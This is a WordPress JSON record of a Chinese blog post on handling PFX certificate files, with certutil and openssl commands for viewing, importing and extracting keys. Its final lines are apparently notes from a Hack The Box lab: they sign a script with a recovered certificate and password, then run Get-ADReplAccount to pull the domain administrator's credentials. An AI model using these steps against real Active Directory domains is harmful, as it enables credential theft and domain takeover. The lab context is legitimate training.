{"id":1071,"date":"2025-02-22T15:38:30","date_gmt":"2025-02-22T07:38:30","guid":{"rendered":"http:\/\/xiyu12.top\/?p=1071"},"modified":"2025-02-22T15:38:30","modified_gmt":"2025-02-22T07:38:30","slug":"%e5%a4%84%e7%90%86pfx-%e6%96%87%e4%bb%b6","status":"publish","type":"post","link":"http:\/\/www.xiyu12.top\/?p=1071","title":{"rendered":"\u5904\u7406pfx \u6587\u4ef6"},"content":{"rendered":"\n<h4 class=\"wp-block-heading\">\u5904\u7406pfx \u6587\u4ef6<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>.key<\/code>\u00a0\u6587\u4ef6\u4e13\u95e8\u7528\u4e8e\u5b58\u50a8\u79c1\u94a5\uff0c\u662f\u52a0\u5bc6\u548c\u89e3\u5bc6\u64cd\u4f5c\u7684\u5173\u952e\u3002<\/li>\n\n\n\n<li><code>.pem<\/code>\u00a0\u6587\u4ef6\u662f\u4e00\u79cd\u901a\u7528\u7684\u5b58\u50a8\u683c\u5f0f\uff0c\u53ef\u4ee5\u5b58\u50a8\u8bc1\u4e66\u3001\u79c1\u94a5\u3001\u516c\u94a5\u7b49\u591a\u79cd\u52a0\u5bc6\u6570\u636e\u3002<\/li>\n\n\n\n<li><code>.crt<\/code>\u00a0\u6587\u4ef6\u4e3b\u8981\u7528\u4e8e\u5b58\u50a8\u6570\u5b57\u8bc1\u4e66\uff0c\u7528\u4e8e\u8eab\u4efd\u9a8c\u8bc1\u548c\u5efa\u7acb\u5b89\u5168\u901a\u4fe1\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">PFX\uff08Personal Information Exchange\uff09\u6587\u4ef6\u662f\u4e00\u79cd\u5305\u542b\u79c1\u94a5\u548c\u8bc1\u4e66\u7684\u52a0\u5bc6\u6587\u4ef6\u683c\u5f0f\uff0c\u5e38\u7528\u4e8e\u5b89\u5168\u901a\u4fe1\u548c\u6570\u5b57\u7b7e\u540d\u7b49\u573a\u666f<br>\u5b89\u5168\u901a\u4fe1<br>\u6570\u5b57\u7b7e\u540d<br>windows<br>\u67e5\u770b\u8bc1\u4e66\u4fe1\u606f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>certutil -dump -p \u201c\u201d file<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bfc\u5165\u8bc1\u4e66\u5230\u7528\u6237<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>certutil -user -p \u201c\u201d -importpfx file<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>-user<\/code>\uff1a\u8868\u793a\u5bfc\u5165\u5230\u5f53\u524d\u7528\u6237\u7684\u8bc1\u4e66\u5b58\u50a8\u533a\u3002<\/li>\n\n\n\n<li><code>-p [\u5bc6\u7801]<\/code>\uff1a\u6307\u5b9a PFX \u6587\u4ef6\u7684\u5bc6\u7801\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">linux<br>\u4f7f\u7528&nbsp;<code>openssl<\/code>&nbsp;\u5de5\u5177\u67e5\u770b PFX \u6587\u4ef6\u4fe1\u606f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>openssl pkcs12 -info -in file -nodes<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f7f\u7528&nbsp;<code>openssl<\/code>&nbsp;\u5de5\u5177\u63d0\u53d6\u79c1\u94a5\u548c\u8bc1\u4e66<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>-nodes<\/code>&nbsp;\u8868\u793a\u4e0d\u52a0\u5bc6\u79c1\u94a5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>openssl pkcs12 -in pfxfile -out keyfile -nocerts -nodes -passin pass:&#91;\u5bc6\u7801]   \u79c1\u94a5\nopenssl pkcs12 -in pfxfile -out crtfile -nokeys -passin pass:&#91;\u5bc6\u7801]           \u8bc1\u4e66<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u67e5\u770b \u8bc1\u4e66\u7684\u4fe1\u606f<br>\u6269\u5c55\u5b57\u6bb5\u4e2d\u7684 \u201cExtended Key Usage\u201d\uff08EKU\uff09\u90e8\u5206\uff0c\u53ef\u4ee5\u4e86\u89e3\u8bc1\u4e66\u7684\u5177\u4f53\u7528\u9014<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>openssl x509 -in cert.pem -noout -text<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f8b\u5982\u6570\u5b57\u7b7e\u540d<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>X509v3 Extended Key Usage: Code Signing\nX509v3 Key Usage: critical Digital Signature<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f7f\u7528\u8bc1\u4e66<br>$pass = ConvertTo-SecureString -String &#8216;abceasyas123&#8217; -AsPlainText -Force<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">$cert = Import-PfxCertificate -FilePath &#8216;C:\\programdata\\$RLYS3KF.pfx&#8217; -Password $pass -CertStoreLocation Cert:\\CurrentUser\\My<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">$cert<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Set-AuthenticodeSignature .\\Get-bADpasswords.ps1 $cert<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>certutil -user -p abceasyas123 -importpfx C:\\pwn\\signature.pfx NoChain,NoRoot\n\n$all_certs = Get-ChildItem cert:\\CurrentUser\\My -CodeSigningCert\n\nSet-AuthenticodeSignature .\\Get-bADpasswords.ps1 -Certificate $all_certs&#91;0]<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">timedatectl set-ntp false<br>sudo ntpdate windcorp<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u83b7\u53d6\u8d26\u6237\u5bc6\u7801<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Get-ADReplAccount -SamAccountName administrator -Server &#8216;hathor.windcorp.htb&#8217;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5904\u7406pfx \u6587\u4ef6 PFX\uff08Personal Information Exchange\uff09\u6587\u4ef6\u662f\u4e00\u79cd\u5305\u542b\u79c1\u94a5\u548c\u8bc1\u4e66 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1071","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/1071","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1071"}],"version-history":[{"count":0,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/1071\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1071"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1071"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1071"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}